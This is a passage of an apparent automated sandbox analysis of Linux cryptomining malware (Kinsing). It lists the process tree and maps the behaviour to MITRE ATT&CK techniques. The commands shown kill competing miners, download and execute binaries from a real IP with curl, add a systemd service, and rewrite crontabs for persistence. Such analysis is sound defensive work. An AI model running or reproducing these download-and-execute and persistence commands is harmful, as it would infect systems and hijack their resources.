  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2027
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2023
- /bin/grep
  grep -v grep
  2⤵
  PID:2030
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2032
- /bin/grep
  grep "bash -k"
  2⤵
  PID:2029
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2031
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2028
- /bin/grep
  grep -v grep
  2⤵
  PID:2035
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2036
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2037
- /bin/grep
  grep perfctl
  2⤵
  PID:2034
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2033
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2038
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads CPU attributes
  PID:2039
- /bin/grep
  grep -v grep
  2⤵
  PID:2042
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2043
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2044
- /bin/grep
  grep ./ll1
  2⤵
  PID:2041
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2040
- /bin/grep
  grep -v grep
  2⤵
  PID:2047
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:2048
- /bin/grep
  grep agetty
  2⤵
  PID:2046
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2049
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2045
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  PID:2050
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:2052
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2054
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2053
- /bin/grep
  grep -v -
  2⤵
  PID:2055
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2056
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2060
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2059
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:2058
- /bin/grep
  grep -v -
  2⤵
  PID:2061
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2062
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2065
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:2064
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2066
- /bin/grep
  grep -v -
  2⤵
  PID:2067
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2068
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:2070
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2071
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2072
- /bin/grep
  grep -v -
  2⤵
  PID:2073
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2074
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2077
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  - Reads runtime system information
  PID:2078
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:2076
- /bin/grep
  grep -v -
  2⤵
  PID:2079
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2080
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2081
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2082
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2083
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:2084
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  PID:2085
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2086
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:2087
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2088
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2089
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  PID:2090
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2091
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2092
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  PID:2093
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:2094
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2095
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  PID:2096
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  PID:2097
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:2098
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2099
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2100
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2101
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  PID:2102
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  PID:2103
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2104
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:2105
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2106
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2107
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2108
- /bin/grep
  grep ./udp
  2⤵
  PID:2109
- /bin/grep
  grep -v grep
  2⤵
  PID:2110
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2112
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2111
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Removes the immutable protection flag from a file
  PID:2113
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2115
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:2114
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Removes the immutable protection flag from a file
  PID:2116
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:2117
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2118
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Removes the immutable protection flag from a file
  PID:2119
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2121
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:2120
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Removes the immutable protection flag from a file
  PID:2122
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:2123
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2124
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  - Removes the immutable protection flag from a file
  PID:2125
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2127
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:2126
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Removes the immutable protection flag from a file
  PID:2128
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:2129
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2130
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:2131
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:2132
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:2133
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Removes the immutable protection flag from a file
  PID:2134
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2136
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:2135
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  - Removes the immutable protection flag from a file
  PID:2137
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2139
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:2138
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  - Removes the immutable protection flag from a file
  PID:2140
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2142
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:2141
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Removes the immutable protection flag from a file
  PID:2143
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2145
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:2144
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  - Removes the immutable protection flag from a file
  PID:2146
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:2147
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2148
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2149
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  PID:2150
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  PID:2151
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  PID:2152
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2153
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2154
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  PID:2155
- /bin/grep
  grep -v grep
  2⤵
  PID:2158
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2159
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2160
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2156
- /bin/grep
  grep ./oka
  2⤵
  PID:2157
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2164
- /bin/grep
  grep -v grep
  2⤵
  PID:2163
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2165
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:2162
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2161
- /bin/grep
  grep -v bin
  2⤵
  PID:2168
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:2167
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2169
- /bin/grep
  grep -v "("
  2⤵
  PID:2170
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2166
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2171
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2172
- /bin/grep
  grep -v postgres
  2⤵
  PID:2173
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2174
- /bin/grep
  grep -v kinsing
  2⤵
  PID:2175
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2176
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2177
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2181
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:2179
- /bin/grep
  grep -v "("
  2⤵
  PID:2182
- /bin/grep
  grep -v bin
  2⤵
  PID:2180
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2183
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:2178
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2184
- /bin/grep
  grep -v postgres
  2⤵
  PID:2185
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2186
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2187
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2188
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:2190
- /bin/grep
  grep -v bin
  2⤵
  PID:2191
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2192
- /bin/grep
  grep -v "("
  2⤵
  PID:2193
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2189
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2194
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2195
- /bin/grep
  grep -v postgres
  2⤵
  PID:2196
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2197
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:2198
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2199
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:2202
- /bin/grep
  grep -v grep
  2⤵
  PID:2201
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2203
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2204
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2200
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2208
- /usr/bin/md5sum
  md5sum /etc/data/kinsing
  2⤵
  PID:2207
- /bin/rm
  rm -rf /etc/data/kinsing
  2⤵
  PID:2209
- /bin/chmod
  chmod 777 /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2210
- /usr/bin/curl
  curl -o /etc/data/kinsing http://78.153.140.16/kinsing
  2⤵
  PID:2211
- /bin/chmod
  chmod +x /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2212
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2216
- /usr/bin/md5sum
  md5sum /etc/data/kinsing
  2⤵
  PID:2215
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2220
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2219
- /bin/chmod
  chmod 777 /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2221
- /usr/bin/curl
  curl -o /etc/data/libsystem.so http://78.153.140.16/libsystem.so
  2⤵
  PID:2222
- /bin/chmod
  chmod +x /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2223
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2227
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2226
- /bin/chmod
  chmod 777 /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2228
- /usr/bin/curl
  curl -o /etc/data/libsystem.so http://78.153.140.16/libsystem.so
  2⤵
  PID:2229
- /bin/chmod
  chmod +x /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2230
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2233
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2234
- /bin/rm
  rm -rf /tmp/kdevtmpfsi
  2⤵
  PID:2235
- /bin/chmod
  chmod 777 /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2236
- /bin/chmod
  chmod +x /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2237
- /etc/data/kinsing
  /etc/data/kinsing
  2⤵
  PID:2238
- /usr/bin/id
  id -u
  2⤵
  PID:2240
- /bin/systemctl
  systemctl enable bot
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:2241
- /bin/systemctl
  systemctl start bot
  2⤵
  - Enumerates kernel/hardware configuration
  PID:2254
- /bin/sed
  sed /base64/d
  2⤵
  PID:2259
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2260
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2258
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2263
- /bin/sed
  sed /_cron/d
  2⤵
  PID:2262
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2261
- /bin/sed
  sed /31.210.20.181/d
  2⤵
  PID:2265
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2266
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2264
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2269
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:2268
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2267
- /bin/sed
  sed /logo4/d
  2⤵
  PID:2271
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2272
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2270
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2275
- /bin/sed
  sed /logo9/d
  2⤵
  PID:2274
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2273
- /bin/sed
  sed /logo0/d
  2⤵
  PID:2277
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2278
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2276
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2281
- /bin/sed
  sed /logo/d
  2⤵
  PID:2280
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2279
- /bin/sed
  sed /tor2web/d
  2⤵
  PID:2283
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2284
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2282
- /bin/sed
  sed /jpg/d
  2⤵
  PID:2286
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2285
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2287
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2290
- /bin/sed
  sed /png/d
  2⤵
  PID:2289
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2288
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2293
- /bin/sed
  sed /tmp/d
  2⤵
  PID:2292
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2291
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2296
- /bin/sed
  sed /zmreplchkr/d
  2⤵
  PID:2295
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2294
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2299
- /bin/sed
  sed /aliyun.one/d
  2⤵
  PID:2298
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2297
- /bin/sed
  sed /3.215.110.66.one/d
  2⤵
  PID:2301
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2302
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2300
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2305
- /bin/sed
  sed /pastebin/d
  2⤵
  PID:2304
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2303
- /bin/sed
  sed /onion/d
  2⤵
  PID:2307
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2308
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2306
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2311
- /bin/sed
  sed /lsd.systemten.org/d
  2⤵
  PID:2310
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2309
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2314
- /bin/sed
  sed /shuf/d
  2⤵
  PID:2313
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2312
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2317
- /bin/sed
  sed /ash/d
  2⤵
  PID:2316
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2315
- /bin/sed
  sed /mr.sh/d
  2⤵
  PID:2322
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2323
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2321
- /usr/bin/crontab
  crontab -
  2⤵
  PID:2326
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:2325
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2324
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2329
- /bin/sed
  sed /localhost.xyz/d
  2⤵
  - Reads runtime system information
  PID:2328
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2327
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2332
- /bin/sed
  sed /45.137.151.106/d
  2⤵
  PID:2331
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2330
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2335
- /bin/sed
  sed /111.90.159.106/d
  2⤵
  PID:2334
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2333
- /bin/sed
  sed /github/d
  2⤵
  PID:2337
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2338
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2336
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2341
- /bin/sed
  sed /bigd1ck.com/d
  2⤵
  PID:2340
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2339
- /bin/sed
  sed /xmr.ipzse.com/d
  2⤵
  - System Network Configuration Discovery
  PID:2343
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2344
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2342
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2347
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:2346
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2345
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2350
- /bin/sed
  sed /91.241.19.134/d
  2⤵
  PID:2349
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2348
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2353
- /bin/sed
  sed /122.51.164.83/d
  2⤵
  PID:2352
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2351
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2356
- /bin/sed
  sed /185.191.32.198/d
  2⤵
  PID:2355
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2354
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2359
- /bin/sed
  sed /newdat.sh/d
  2⤵
  PID:2358
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2357
- /bin/sed
  sed /lib.pygensim.com/d
  2⤵
  PID:2361
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2362
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2360
- /bin/sed
  sed /t.amynx.com/d
  2⤵
  PID:2364
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2365
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2363
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2368
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:2367
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2366
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2371
- /bin/sed
  sed /systemd-service.sh/d
  2⤵
  PID:2370
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2369
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2374
- /bin/sed
  sed /pg_stat.sh/d
  2⤵
  PID:2373
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2372
- /bin/sed
  sed /sleep/d
  2⤵
  PID:2376
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2377
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2375
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2380
- /bin/sed
  sed /oka/d
  2⤵
  PID:2379
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2378
- /bin/sed
  sed /linux1213/d
  2⤵
  PID:2382
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2383
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2381
- /bin/sed
  sed "/#wget/d"
  2⤵
  PID:2385
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2386
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2384
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2392
- /bin/sed
  sed "/#curl/d"
  2⤵
  PID:2391
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2390
- /bin/sed
  sed /zsvc/d
  2⤵
  PID:2394
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2395
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2393

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Shared Modules

T1129

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking